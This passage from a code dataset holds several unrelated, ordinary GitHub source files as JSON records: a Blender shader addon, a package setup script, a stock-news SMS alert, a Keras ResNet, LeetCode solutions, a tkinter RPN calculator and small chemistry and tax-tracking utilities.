bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n newIndex = node.activeImageIndex + 1\n if (newIndex >= len(node.imageItems)): return {\"FINISHED\"}\n node.imageItems.move(newIndex, node.activeImageIndex)\n node.activeImageIndex = newIndex\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nselectionTypeItems = [\n (\"INDEX\", \"Index\", \"\", \"NONE\", 0),\n (\"RANDOM_PER_OBJECT\", \"Random Per Object\", \"\", \"NONE\", 1),\n (\"RANDOM_PER_ISLAND\", \"Random Per Island\", \"\", \"NONE\", 2),\n]\n\n@dataclass\nclass InputLink:\n inputName: str\n fromSocket: bpy.types.NodeSocket\n\n@dataclass\nclass OutputLink:\n outputName: str\n toSocket: bpy.types.NodeSocket\n\nclass ImageSelectorShaderNode(bpy.types.ShaderNodeCustomGroup):\n bl_idname = \"SSN_ImageSelectorShaderNode\"\n bl_label = \"Image Selector\"\n bl_width_default = 240\n\n activeImageIndex: IntProperty()\n imageItems: CollectionProperty(type = ImageListItem)\n\n vectorWasLinked: BoolProperty()\n\n selectionType: EnumProperty(name = \"Selection Type\", items = selectionTypeItems,\n update = lambda self, context : self.updateNodeTree())\n\n def draw_buttons(self, context, layout):\n layout.prop(self, \"selectionType\", text = \"\")\n\n col = layout.column(align = True)\n\n col.template_list(ImageUIList.bl_idname, \"\", self, \"imageItems\", self, \"activeImageIndex\")\n\n row = col.row(align = True)\n properties = row.operator(AddImage.bl_idname)\n properties.nodeName = self.name\n properties = row.operator(BrowseImages.bl_idname)\n properties.nodeName = self.name\n\n row = col.row(align = True)\n properties = row.operator(ClearImages.bl_idname)\n properties.nodeName = self.name\n properties = row.operator(MoveImageUp.bl_idname, text = \"\", icon = \"TRIA_UP\")\n properties.nodeName = self.name\n properties = row.operator(MoveImageDown.bl_idname, text = \"\", icon = \"TRIA_DOWN\")\n properties.nodeName = self.name\n properties = row.operator(RemoveImage.bl_idname, text = \"\", icon = \"X\")\n properties.nodeName = self.name\n\n def init(self, context):\n self.updateNodeTree()\n\n def copy(self, sourceNode):\n self.updateNodeTree()\n\n def free(self):\n bpy.data.node_groups.remove(self.node_tree, do_unlink = True)\n\n def getNodeGroupName(self):\n return f\"{self.name}_internal_node_tree\"\n\n def updateNodeGroup(self):\n if self.getNodeGroupName() in bpy.data.node_groups:\n self.node_tree = bpy.data.node_groups[self.getNodeGroupName()]\n else:\n self.node_tree = bpy.data.node_groups.new(self.getNodeGroupName(), \"ShaderNodeTree\")\n\n def updateNodeTree(self):\n self.updateNodeGroup()\n self.storeLinks()\n self.clearNodeTree()\n self.addInputs()\n self.addOutputs()\n self.addNodes()\n self.restoreLinks()\n\n def addOutputs(self):\n self.node_tree.outputs.new(\"NodeSocketColor\", \"Color\")\n\n def addInputs(self):\n vectorSocket = self.node_tree.inputs.new(\"NodeSocketVector\", \"Vector\")\n vectorSocket.hide_value = True\n if self.selectionType == \"INDEX\":\n self.node_tree.inputs.new(\"NodeSocketInt\", \"Index\")\n else:\n self.node_tree.inputs.new(\"NodeSocketInt\", \"Seed\")\n\n def addNodes(self):\n nodes = self.node_tree.nodes\n links = self.node_tree.links\n\n inputNode = nodes.new(\"NodeGroupInput\")\n outputNode = nodes.new(\"NodeGroupOutput\")\n\n inputs = inputNode.outputs\n outputs = outputNode.inputs\n\n if len(self.imageItems) == 0:\n return\n\n vectorIsLinked = any(link.inputName == \"Vector\" for link in self.inputLinks)\n\n if len(self.imageItems) == 1:\n imageNode = nodes.new(\"ShaderNodeTexImage\")\n imageNode.image = self.imageItems[0].image\n if vectorIsLinked:\n links.new(imageNode.inputs[\"Vector\"], inputs[\"Vector\"])\n links.new(outputs[\"Color\"], imageNode.outputs[\"Color\"])\n return\n\n if self.selectionType == \"INDEX\":\n indexSocket = inputs[\"Index\"]\n else:\n if self.selectionType == \"RANDOM_PER_OBJECT\":\n objectInfoNode = nodes.new(\"ShaderNodeObjectInfo\")\n randomSocket = objectInfoNode.outputs[\"Random\"]\n if self.selectionType == \"RANDOM_PER_ISLAND\":\n geometryNode = nodes.new(\"ShaderNodeNewGeometry\")\n randomSocket = geometryNode.outputs[\"Random Per Island\"]\n\n combineXYZNode = nodes.new(\"ShaderNodeCombineXYZ\")\n links.new(combineXYZNode.inputs[\"X\"], randomSocket)\n links.new(combineXYZNode.inputs[\"Y\"], inputs[\"Seed\"])\n\n whiteNoiseNode = nodes.new(\"ShaderNodeTexWhiteNoise\")\n whiteNoiseNode.noise_dimensions = \"2D\"\n links.new(whiteNoiseNode.inputs[\"Vector\"], combineXYZNode.outputs[\"Vector\"])\n\n multiplyNode = nodes.new(\"ShaderNodeMath\")\n multiplyNode.operation = \"MULTIPLY\"\n links.new(multiplyNode.inputs[0], whiteNoiseNode.outputs[\"Value\"])\n multiplyNode.inputs[1].default_value = len(self.imageItems)\n indexSocket = multiplyNode.outputs[\"Value\"]\n\n floorNode = nodes.new(\"ShaderNodeMath\")\n floorNode.operation = \"FLOOR\"\n links.new(floorNode.inputs[\"Value\"], indexSocket)\n\n multiplyNodes = []\n for i, imageItem in enumerate(self.imageItems):\n imageNode = nodes.new(\"ShaderNodeTexImage\")\n imageNode.image = imageItem.image\n if vectorIsLinked:\n links.new(imageNode.inputs[\"Vector\"], inputs[\"Vector\"])\n\n compareNode = nodes.new(\"ShaderNodeMath\")\n compareNode.operation = \"COMPARE\"\n links.new(compareNode.inputs[0], floorNode.outputs[\"Value\"])\n compareNode.inputs[1].default_value = i\n\n multiplyNode = nodes.new(\"ShaderNodeMixRGB\")\n multiplyNode.blend_type = \"MULTIPLY\"\n multiplyNode.inputs[\"Fac\"].default_value = 1\n links.new(multiplyNode.inputs[\"Color1\"], imageNode.outputs[\"Color\"])\n links.new(multiplyNode.inputs[\"Color2\"], compareNode.outputs[\"Value\"])\n multiplyNodes.append(multiplyNode)\n\n lastNode = multiplyNodes[0]\n for i in range(1, len(multiplyNodes)):\n addNode = nodes.new(\"ShaderNodeMixRGB\")\n addNode.blend_type = \"ADD\"\n addNode.inputs[\"Fac\"].default_value = 1\n links.new(addNode.inputs[\"Color1\"], lastNode.outputs[\"Color\"])\n links.new(addNode.inputs[\"Color2\"], multiplyNodes[i].outputs[\"Color\"])\n lastNode = addNode\n\n links.new(outputNode.inputs[\"Color\"], lastNode.outputs[\"Color\"])\n\n def clearNodeTree(self):\n self.node_tree.inputs.clear()\n self.node_tree.outputs.clear()\n self.node_tree.links.clear()\n self.node_tree.nodes.clear()\n\n def storeLinks(self):\n self.inputLinks = []\n for socket in self.inputs:\n if not socket.is_linked: continue\n for link in socket.links:\n self.inputLinks.append(InputLink(socket.name, link.from_socket))\n\n self.outputLinks = []\n for socket in self.outputs:\n if not socket.is_linked: continue\n for link in socket.links:\n self.outputLinks.append(OutputLink(socket.name, link.to_socket))\n\n def restoreLinks(self):\n links = self.id_data.links\n\n for inputLink in self.inputLinks:\n if inputLink.inputName not in self.inputs: continue\n links.new(self.inputs[inputLink.inputName], inputLink.fromSocket)\n\n for outputLink in self.outputLinks:\n if outputLink.outputName not in self.outputs: continue\n links.new(outputLink.toSocket, self.outputs[outputLink.outputName])\n\ndef drawMenu(self, context):\n self.layout.separator()\n operator = self.layout.operator(\"node.add_node\", text = \"Image Selector\")\n operator.type = ImageSelectorShaderNode.bl_idname\n operator.use_transform = True\n\n@bpy.app.handlers.persistent\ndef onDepsgraphUpdate(scene, depsgraph):\n for update in depsgraph.updates:\n if not isinstance(update.id, bpy.types.ShaderNodeTree): continue\n for node in update.id.original.nodes:\n if not isinstance(node, ImageSelectorShaderNode): continue\n vectorIsLinked = node.inputs[\"Vector\"].is_linked\n if node.vectorWasLinked != vectorIsLinked:\n node.vectorWasLinked = vectorIsLinked\n node.updateNodeTree()\n\n\ndef register():\n bpy.utils.register_class(ImageListItem)\n bpy.utils.register_class(ImageUIList)\n bpy.utils.register_class(AddImage)\n bpy.utils.register_class(BrowseImages)\n bpy.utils.register_class(ClearImages)\n bpy.utils.register_class(RemoveImage)\n bpy.utils.register_class(MoveImageUp)\n bpy.utils.register_class(MoveImageDown)\n bpy.utils.register_class(ImageSelectorShaderNode)\n bpy.types.NODE_MT_category_SH_NEW_TEXTURE.append(drawMenu)\n bpy.app.handlers.depsgraph_update_post.append(onDepsgraphUpdate)\n \ndef unregister():\n bpy.utils.unregister_class(ImageListItem)\n bpy.utils.unregister_class(ImageUIList)\n bpy.utils.unregister_class(AddImage)\n bpy.utils.unregister_class(BrowseImages)\n bpy.utils.unregister_class(ClearImages)\n bpy.utils.unregister_class(RemoveImage)\n bpy.utils.unregister_class(MoveImageUp)\n bpy.utils.unregister_class(MoveImageDown)\n bpy.utils.unregister_class(ImageSelectorShaderNode)\n bpy.types.NODE_MT_category_SH_NEW_TEXTURE.remove(drawMenu)\n bpy.app.handlers.depsgraph_update_post.remove(onDepsgraphUpdate)\n\nif __name__ == \"__main__\":\n register()\n","repo_name":"OmarEmaraDev/shader-selector-nodes","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":14003,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"27"} +{"seq_id":"42684030330","text":"import os\nimport pathlib\n\nfrom setuptools import setup # noqa\n\n# =============================================================================\n# CONSTANTS\n# =============================================================================\n\nPATH = pathlib.Path(os.path.abspath(os.path.dirname(__file__)))\n\n\nREQUIREMENTS = [\"numpy==1.22.1\", \"matplotlib>=3.5.1\"]\n\nwith open(PATH / \"PyOCPS\" / \"__init__.py\") as fp:\n for line in fp.readlines():\n if line.startswith(\"__version__ = \"):\n VERSION = line.split(\"=\", 1)[-1].replace('\"', \"\").strip()\n break\n\n\nwith open(\"README.md\") as fp:\n LONG_DESCRIPTION = fp.read()\n\n\nsource = \"https://github.com/juniors90/PyOCPS\"\ntracker = \"https://github.com/juniors90/PyOCPS/issues\"\ndonate = \"https://www.paypal.com/donate?hosted_button_id=LFAQ7E7TJ4HSY\"\nfunding = \"https://paypal.me/juniors90\"\n\n\n# =============================================================================\n# FUNCTIONS\n# =============================================================================\n\nsetup(\n name=\"PyOCPS\",\n version=VERSION,\n description=\"Optimal Capacitor Placement and Sizing in Distribution Networks\",\n long_description=LONG_DESCRIPTION,\n long_description_content_type=\"text/markdown\",\n author=\"Ferreira Juan David\",\n author_email=\"juandavid9a0@gmail.com\",\n url=\"https://github.com/juniors90/PyOCPS\",\n packages=[\"pyocps\"],\n include_package_data=True,\n platforms=\"any\",\n license=\"The MIT License\",\n install_requires=REQUIREMENTS,\n keywords=[\"Numpy\", \"Matplotlib\", \"Data Visualisation\"],\n project_urls={\n \"Source\": source,\n \"Tracker\": tracker,\n \"Donate\": donate,\n \"Funding\": funding,\n },\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3.8\",\n \"Topic :: Internet :: WWW/HTTP :: Dynamic Content\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n)","repo_name":"juniors90/PyOCPS","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"41905802462","text":"import requests\nfrom twilio.rest import Client\n\nAV_API_KEY = \"YOURS\"\nAV_ENDPOINT = \"https://www.alphavantage.co/query\"\nNEWS_APY_KEY = \"YOURS\"\nNEWS_ENDPOINT = \"https://newsapi.org/v2/everything\"\naccount_sid = \"YOURS\"\nauth_token = \"YOURS\"\nSTOCK = \"TSLA\"\nCOMPANY_NAME = \"Tesla Inc\"\n\nnews_parameters = {\n \"q\": COMPANY_NAME,\n \"qInTitle\": COMPANY_NAME,\n \"apiKey\": NEWS_APY_KEY\n}\nav_parameters = {\n \"function\": \"TIME_SERIES_DAILY\",\n \"symbol\": STOCK,\n \"apikey\": AV_API_KEY\n}\n\nresponse = requests.get(url=AV_ENDPOINT, params=av_parameters)\nresponse.raise_for_status()\ndata = response.json()[\"Time Series (Daily)\"]\ndata_list = [value for (key, value) in data.items()]\n\ndata_yesterday = float(data_list[0][\"4. close\"])\ndata_before_yesterday = float(data_list[1][\"4. close\"])\ndifference = data_yesterday - data_before_yesterday\nvariation = abs(round((difference / data_yesterday) * 100))\nif difference > 0:\n UPPER = \"+\"\nelse:\n UPPER = \"-\"\n\nif variation >= 5:\n news_response = requests.get(url=NEWS_ENDPOINT, params=news_parameters)\n news_response.raise_for_status()\n news_data = news_response.json()[\"articles\"]\n for new in news_data[:3]:\n client = Client(account_sid, auth_token)\n print(new)\n\n message = client.messages \\\n .create(\n body=f\"{STOCK}: {UPPER}{variation}%\\n\\n{new['title']}\\n\\n{new['description']}\",\n from_='+14242066922',\n to='+56962328152'\n )\n\n print(message.sid)\n","repo_name":"RamonCastill/StockTradingNews","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"34310256696","text":"import tensorflow as tf\nfrom tensorflow import Tensor\nfrom tensorflow.keras.layers import Input, Conv2D, ReLU, BatchNormalization, \\\n Add, AveragePooling2D, Flatten, Dense\nfrom tensorflow.keras.models import Model\nimport utils.configuration as conf\n\nconfiguration_file = \"configs/cnn.config\"\nconfiguration = conf.ConfigurationFile(configuration_file, \"RES\")\n\n\ndef relu_bn(inputs: Tensor) -> Tensor:\n relu = ReLU()(inputs)\n bn = BatchNormalization()(relu)\n return bn\n\n\ndef residual_block(x: Tensor, downsample: bool, filters: int, kernel_size: int = 3) -> Tensor:\n y = Conv2D(kernel_size=kernel_size,\n strides=(1 if not downsample else 2),\n filters=filters,\n padding=\"same\")(x)\n y = relu_bn(y)\n y = Conv2D(kernel_size=kernel_size,\n strides=1,\n filters=filters,\n padding=\"same\")(y)\n\n if downsample:\n x = Conv2D(kernel_size=1,\n strides=2,\n filters=filters,\n padding=\"same\")(x)\n out = Add()([x, y])\n out = relu_bn(out)\n return out\n\n\ndef create_res_net(input_shape, block_list, num_classes):\n inputs = Input(shape=input_shape)\n num_filters = 64\n\n t = BatchNormalization()(inputs)\n t = Conv2D(kernel_size=3,\n strides=1,\n filters=num_filters,\n padding=\"same\")(t)\n t = relu_bn(t)\n\n num_blocks_list = block_list\n for i in range(len(num_blocks_list)):\n num_blocks = num_blocks_list[i]\n for j in range(num_blocks):\n t = residual_block(t, downsample=(j == 0 and i != 0), filters=num_filters)\n num_filters *= 2\n\n t = tf.keras.layers.GlobalAveragePooling2D()(t)\n t = Flatten()(t)\n outputs = Dense(num_classes, activation='softmax')(t)\n\n model = Model(inputs, outputs)\n\n #initial_learning_rate = configuration.get_learning_rate()\n #lr_schedule = tf.keras.experimental.CosineDecay(initial_learning_rate=initial_learning_rate,\n #decay_steps=300000,\n #alpha=0.0001)\n\n #opt = tf.keras.optimizers.SGD(learning_rate=lr_schedule, momentum=0.9, nesterov=True)\n #opt = tf.keras.optimizers.Adam(learning_rate=configuration.get_learning_rate()) # 'adam'\n\n #model.compile(\n #optimizer=opt,\n # optimizer=tf.keras.optimizers.Adam(learning_rate = configuration.get_learning_rate()), # 'adam'\n # loss= losses.crossentropy_loss,\n #loss=tf.keras.losses.CategoricalCrossentropy(from_logits=True),\n #metrics=['accuracy'])\n\n return model","repo_name":"CaptainArmenia/memoria","sub_path":"resnet_functional_model.py","file_name":"resnet_functional_model.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"33504461814","text":"from sqlalchemy.sql import table, column\nfrom sqlalchemy import String\n\nconfig_table = table('config',\n column('key', String),\n column('value', String)\n)\n\ndef set_version(op, new_version):\n op.execute(\n config_table.update().where(config_table.c.key == \"version\").\\\n values({'value': new_version})\n )\n","repo_name":"swinslow/spdxSummarizer","sub_path":"spdxSummarizer/migrations/versioning.py","file_name":"versioning.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"23788391458","text":"# greedy\n# 每当递增时,为满足字典序最小,要从最小的数字开始递增\n# 每当递减时,为满足字典序最小,要从最小最大值开始递减\nclass Solution:\n def smallestNumber(self, pattern: str) -> str:\n n = len(pattern)\n ans = [str(i) for i in range(1, n + 2)]\n\n i = 0\n while i < n:\n ch = pattern[i]\n if ch == \"I\":\n i += 1\n else:\n tmp = i\n while i < n and pattern[i] == \"D\":\n i += 1\n # print(tmp,i)\n ans[tmp:i + 1] = ans[tmp:i + 1][::-1]\n return \"\".join(ans)\n\n\n# dfs\nclass Solution1:\n def smallestNumber(self, pattern: str) -> str:\n n = len(pattern)\n ans = []\n nums = [str(i) for i in range(1, n + 2)]\n\n def dfs(nums, pattern, tmp):\n nonlocal ans\n if len(ans) > 0:\n return\n if len(tmp) == len(nums):\n ans = tmp.copy()\n return\n ans = []\n m = len(tmp)\n\n for num in nums:\n\n if num in tmp:\n continue\n\n if m > 0:\n # print(tmp,pattern[m-1],num,tmp[m-1])\n if (pattern[m - 1] == \"I\" and num < tmp[m - 1]) or (pattern[m - 1] == \"D\" and num > tmp[m - 1]):\n continue\n tmp.append(num)\n dfs(nums, pattern, tmp)\n tmp.pop()\n\n dfs(nums, pattern, [])\n return \"\".join(ans)\n","repo_name":"lee0ray/AlgTest","sub_path":"leetcode/greedy/2375.py","file_name":"2375.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"33756506746","text":"import tkinter as tk\n\nclass Calctiny(tk.Frame):\n def __init__(self, master=None):\n super().__init__(master)\n self.gotEQ = 0\n self.gotOPR = 0\n self.ans = 0\n self.num = \"0\"\n self.opr = ' '\n self.key = ' '\n self.memory= []\n self.values = []\n self.entry1 = tk.Entry(self, width=20, font=('Arial 24'), border=2, fg=\"black\", bg=\"#abbab1\")\n self.entry2 = tk.Entry(self, width=20, font=('Arial 24'), border=2, fg=\"black\", bg=\"#abbab1\")\n self.entry3 = tk.Entry(self, width=20, font=('Arial 24'), border=2, fg=\"black\", bg=\"#abbab1\")\n self.entry4 = tk.Entry(self, width=20, font=('Arial 24'), border=2, fg=\"black\", bg=\"#abbab1\")\n self.btxt = ['MS', 'MR', 'M', 'MC',\n '7', '8', '9', '/',\n '4', '5', '6', '*',\n '1', '2', '3', '-',\n '0', '.', '', '+',\n 'CE', 'C', '', 'Enter'\n ]\n self.buttons = []\n self.L = [\n lambda e: self.handle_number(((e.widget).cget(\"text\"))),\n lambda e: self.handle_operator(((e.widget).cget(\"text\"))),\n lambda e: self.clear_entry(),\n lambda e: self.clear(),\n lambda e: self.memory_store(),\n lambda e: self.enter(),\n lambda e: self.memory_recall(((e.widget).cget(\"text\")))\n \n ]\n self.create_widgets()\n\n def create_widgets(self):\n self.entry1.grid(row=0, column=0, columnspan=4)\n self.entry2.grid(row=1, column=0, columnspan=4)\n self.entry3.grid(row=2, column=0, columnspan=4)\n self.entry4.grid(row=3, column=0, columnspan=4)\n\n for i in range(len(self.btxt)):\n row = i // 4 + 4\n col = i % 4\n if self.btxt[i] == 'Enter':\n button = tk.Button(self, text=self.btxt[i], width=9, height=2, fg=\"white\", bg=\"#FA8072\", font=\"Segoe 12\")\n else:\n button = tk.Button(self, text=self.btxt[i], width=9, height=2, fg=\"white\", bg=\"#333333\", font=\"Segoe 12\")\n button.grid(row=row, column=col)\n button.bind(\"\", self.L[0] if button.cget(\"text\").isdigit() or button.cget(\"text\") == '.' else \\\n self.L[1] if button.cget(\"text\") not in ('CE', 'C', 'MS', 'MR', 'M', 'MC','Enter') else \\\n self.L[2] if button.cget(\"text\") == 'CE' else \\\n self.L[3] if button.cget(\"text\") == 'C' else \\\n self.L[4] if button.cget(\"text\") == 'MS' else \\\n self.L[5] if button.cget(\"text\") == 'Enter' else \\\n self.L[6])\n self.buttons.append(button)\n\n def handle_number(self, text):\n if self.ans != 0:\n self.values.append(self.ans)\n self.num =\"0\"\n self.ans = 0\n self.display() \n \n self.key = text\n if self.key == '.' and '.' in self.num:\n return\n if self.num == '0' and self.key != '.':\n self.num = self.key\n else:\n self.num += self.key\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, self.num)\n \n def enter(self):\n self.values.append(self.num)\n self.num = '0'\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, self.num)\n self.display()\n\n\n def handle_operator(self, text):\n if self.ans != 0:\n self.ans = 0\n self.opr = text \n\n #self.values.append(self.num)\n self.ans = str(eval(self.values[-1] + self.opr + self.num))\n self.num = self.ans\n self.values.pop()\n #print(self.values.pop())\n\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, self.ans)\n\n self.display()\n \n\n def display(self):\n if len(self.values) >= 3:\n self.entry1.delete(0, tk.END)\n self.entry1.insert(tk.END, self.values[-3])\n self.entry2.delete(0, tk.END)\n self.entry2.insert(tk.END, self.values[-2])\n self.entry3.delete(0, tk.END)\n self.entry3.insert(tk.END, self.values[-1])\n elif len(self.values) == 2:\n self.entry1.delete(0, tk.END)\n self.entry1.insert(tk.END, \"\")\n self.entry2.delete(0, tk.END)\n self.entry2.insert(tk.END, self.values[-2])\n self.entry3.delete(0, tk.END)\n self.entry3.insert(tk.END, self.values[-1])\n elif len(self.values) == 1:\n self.entry1.delete(0, tk.END)\n self.entry1.insert(tk.END, \"\")\n self.entry2.delete(0, tk.END)\n self.entry2.insert(tk.END, \"\")\n self.entry3.delete(0, tk.END)\n self.entry3.insert(tk.END, self.values[-1])\n else:\n self.entry1.delete(0, tk.END)\n self.entry1.insert(tk.END, \"\")\n self.entry2.delete(0, tk.END)\n self.entry2.insert(tk.END, \"\")\n self.entry3.delete(0, tk.END)\n self.entry3.insert(tk.END, \"\")\n\n def clear_entry(self):\n self.entry4.delete(0, tk.END)\n self.num = \"0\"\n\n def clear(self):\n self.entry4.delete(0, tk.END)\n self.entry3.delete(0, tk.END)\n self.entry2.delete(0, tk.END)\n self.entry1.delete(0, tk.END)\n self.num = \"0\"\n self.ans = 0\n self.opr = ' '\n self.values=[]\n\n def memory_store(self):\n if self.entry4.get():\n self.memory.append(float(self.entry4.get()))\n #print(self.memory)\n\n def memory_recall(self, text):\n if text == 'MR':\n if self.memory:\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, str(self.memory[-1]))\n else:\n self.entry4.delete(0, tk.END)\n\n elif text == 'M':\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, str(self.memory))\n\n elif text == 'MC':\n self.entry4.delete(0, tk.END)\n self.memory =[]\n \nroot = tk.Tk()\nroot.title(\"RPN Calculator\")\nroot.geometry(\"366x470\")\nroot.resizable(0, 0)\nroot.config(bg=\"#333333\")\napp = Calctiny(master=root)\napp.grid()\nroot.mainloop()\n","repo_name":"rjoshi48/Calculator-App","sub_path":"Calculator_RPN.py","file_name":"Calculator_RPN.py","file_ext":"py","file_size_in_byte":6343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"18772262557","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n#基于原子xyz坐标,将所有原子与指定原子按距离从小到大排序\n##指定原子与自身距离为0\n\n#输入待计算分子的SMILES\n#目标的原子基于rdkit的索引Index\n#输入pandas DataFrame,包含'SMILES','Atom_Index',‘x','y','z'索引\n\n#输出原子索引的python list,顺序从小到大\n\nimport numpy as np\nfrom rdkit import Chem\nfrom rdkit.Chem import AllChem\n\ndef L403m(mol,Index):\n\t\n\tatoms=mol.GetAtoms()\n\tdistance_matrix=AllChem.Get3DDistanceMatrix(mol)\n\t\n\tDistance_List=[]\n\tfor atom in atoms:\n\t\tDistance_List.append(distance_matrix[Index,atom.GetIdx()])\n\t\t\n\tOrder_List=np.array(Distance_List).argsort()\n\t\n\treturn Order_List\n\t\n","repo_name":"DeepSynthesis/PSPOC-version-1.0","sub_path":"script/LINKS/L403m.py","file_name":"L403m.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"11281110110","text":"from datetime import datetime\n\nfrom utils import Color\n\n\nclass Pack:\n def __init__(self, date):\n self.date = date\n self.in_transactions = []\n self.payment = 0\n\n def set_payment(self, payment):\n self.payment = payment\n\n def merge(self, other_pack):\n self.payment = self.payment + other_pack.payment\n self.in_transactions.extend(other_pack.in_transactions)\n\n def assign_price_to_transactions(self):\n for transaction in self.in_transactions:\n transaction.price = self.payment / float(len(self.in_transactions))\n\n def __str__(self):\n return \"Pull from pack: {}\".format(\n ','.join([tx.moment.moment for tx in self.in_transactions]),\n )\n\n\ndef get_packs_from_moments(moments):\n packs = {}\n for moment_id in moments:\n moment = moments[moment_id]\n\n for transaction in moment.transactions:\n\n if transaction.tx_type != 'Pack':\n continue\n\n if transaction.price is not None:\n continue\n\n trade_date = transaction.date[:10]\n if trade_date not in packs:\n packs[trade_date] = Pack(trade_date)\n\n pack = packs[trade_date]\n pack.in_transactions.append(transaction)\n\n # sort by dates\n dates = list(packs.keys())\n dates.sort()\n return {sortedKey: packs[sortedKey] for sortedKey in dates}\n\n\ndef merge_packs(packs):\n dates = list(packs.keys())\n i = 0\n while i < len(dates) - 1:\n date = datetime.strptime(dates[i], '%Y-%m-%d').date()\n next_date = datetime.strptime(dates[i + 1], '%Y-%m-%d').date()\n diff = next_date - date\n\n if diff.days == 1:\n print(\"==== MERGE PACKS ====\")\n print(f\"Pack 1 on {Color.GREEN}{dates[i]}{Color.ENDC}, \"\n f\"pulled {Color.RED}{len(packs[dates[i]].in_transactions)}{Color.ENDC} moments:\")\n for transaction in packs[dates[i]].in_transactions:\n print(f\"{transaction.moment.moment} on {Color.GREEN}{transaction.date}{Color.ENDC}\")\n\n print(\"<====>\")\n print(f\"Pack 2 on {Color.GREEN}{dates[i + 1]}{Color.ENDC}, \"\n f\"pulled {Color.RED}{len(packs[dates[i + 1]].in_transactions)}{Color.ENDC} moments:\")\n for transaction in packs[dates[i + 1]].in_transactions:\n print(f\"{transaction.moment.moment} on {Color.GREEN}{transaction.date}{Color.ENDC}\")\n\n print(\"------\")\n\n processed = False\n while not processed:\n response = input(f\"Merge these two packs? ({Color.RED}yes{Color.ENDC}/no)\\n\")\n if response.lower() == 'no':\n processed = True\n print(\"==== SKIPPED ====\\n\")\n elif response.lower() == 'yes' or response == '':\n processed = True\n packs[dates[i]].merge(packs[dates[i + 1]])\n dates.remove(dates[i + 1])\n print(\"==== MERGED ====\\n\")\n else:\n print(\"==== RETRY ====\\n\")\n i = i + 1\n\n # sort by dates\n dates.sort()\n return {sortedKey: packs[sortedKey] for sortedKey in dates}\n\n\ndef resolve_packs(packs):\n for date in packs:\n pack = packs[date]\n\n print(\"==== RESOLVE PACK ====\")\n print(f\"Pack on {Color.GREEN}{date}{Color.ENDC}, \"\n f\"pulled {Color.RED}{len(pack.in_transactions)}{Color.ENDC} moments:\")\n for transaction in pack.in_transactions:\n print(f\"{transaction.moment.moment} on {Color.GREEN}{transaction.date}{Color.ENDC}\")\n print(\"------\")\n\n processed = False\n while not processed:\n payment = input(f\"Input the total payment of these packs: \"\n f\"(default: {Color.RED}0{Color.ENDC}) \\n\"\n f\"{Color.YELLOW}For reward/locker room packs, just put 0{Color.ENDC}\\n\")\n if payment == '':\n payment = '0'\n try:\n pack.set_payment(int(payment))\n processed = True\n except:\n print(\"Error parsing number.\")\n print(\"==== PACK RESOLVED ====\\n\")\n\n pack.assign_price_to_transactions()\n\n","repo_name":"hellohanchen/ts-tax-auditor","sub_path":"pack.py","file_name":"pack.py","file_ext":"py","file_size_in_byte":4264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"42999602193","text":"#!/usr/bin/env python\n\nimport sys\nfrom Bio import SeqIO\nimport markdown\nimport runnable\nfrom quadclasslib import seqlearn, quadclass\n\nclass Runnable(runnable.Runnable):\n ''' Quadclass wrapper for GQ structure prediction. '''\n\n @staticmethod\n def info():\n return {'name': 'Quadclass', 'accepts': 'fasta'}\n\n def __init__(self, data_in, param):\n runnable.Runnable.__init__(self, data_in)\n self.type = runnable.ResultGFF\n self.fields = ['Accession', 'Sequence', 'Topology']\n\n def eval_sequence(self, id, seq, out):\n # Load class list\n gq_classlist = seqlearn.load_classlist('runnables/quadclasslib/gqclass-mono.tsv')\n pval_table = seqlearn.calc_pval(gq_classlist)\n loops = loops = seqlearn.find_fragments(seq.upper())\n candidates = seqlearn.fit(gq_classlist, loops, pval_table)\n configurations = []\n for key in candidates:\n configurations.append('%s:%s/%s' % (key[1], key[0], ','.join(candidates[key])))\n self.result.append( (id, seq, ' '.join(configurations)) )\n out.write('%s %s %s\\n' % self.result[-1][0:3])\n\n def run(self, data_out = None):\n self.planned = 0\n self.processed = 0\n self.result = []\n\n in_type = runnable.file_type(self.data_in)\n score_out = self.out_stream(data_out)\n file_in = self.in_stream()\n\n if in_type == runnable.ResultFasta or in_type == runnable.ResultScore:\n for record in SeqIO.parse(file_in, 'fasta'):\n self.eval_sequence(record.id, str(record.seq), score_out)\n self.processed += 1\n if in_type == runnable.ResultGFF:\n pass\n\n self.planned = self.processed\n\n @staticmethod\n def get_info(param):\n ''' Get GQ class information. '''\n topo = param[0]\n name = param[1].lower()\n info = {}\n # Read description file\n description = quadclass.class_description('runnables/quadclasslib/' + name)\n # First line contains prettified name\n info['name'] = description.pop(0).strip() + ' (%s)' % topo\n info['image'] = topo.lower()\n # Markdown\n info['description'] = 